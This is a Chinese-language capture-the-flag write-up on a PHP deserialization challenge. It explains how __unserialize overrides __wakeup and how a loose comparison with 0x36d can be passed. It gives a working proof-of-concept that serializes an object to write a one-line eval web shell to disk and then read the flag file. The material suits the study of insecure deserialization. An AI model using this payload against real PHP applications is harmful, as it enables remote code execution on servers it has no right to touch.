PHP/7.4.16nginx/1.18.0
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}}unserialize($_GET['vip']);
分析
__wakeup()
unserialize() 会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
因这里写着 username 和 password 必须为非空,否则会退出,所以可以考虑要绕过这里
参考 CVE-2016-7124
- 影响范围
 
PHP5 < 5.6.25
PHP7 < 7.0.10
- 漏洞原理
 
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。
但是题目是 PHP 7.4.2 明显不满足要求,
然后guguru了一下比较显眼的 __unserialize 魔术方法,因为没见过
https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize
发现有趣的东西,官方文档是这样介绍的
就当同时存在 __wakeup 和 __unserialize 魔术方法时,只会调用 __unserialize 魔术方法。
仔细观察析构方法,是个弱比较 $this->code==0x36d
然后 0x36d 的十进制是 877 ,写个小实验
也就是说弱比较 $code 变量前面是 877 就好了,不管后面加了啥字符串,就可以让 $code == 0x36d 成立了。
构造 POC
<?phpclass ctfshowvip{public $username = "877.php";public $password = '<?php eval($_GET[c]); ?>';}echo urlencode(serialize(new ctfshowvip()));
会生成 877.php 然后 cat /flag_is_here 即可
题外
因为 PHP 底层是用 C语言写的,原本想着用 \0 作为字符串截断,这样不会拼接 $passwod 字段,然后发现,如果第一个参数有 \0 , file_put_contents 会报错。
然后__invoke 和 __sleep 在这里的用处不太清楚。。
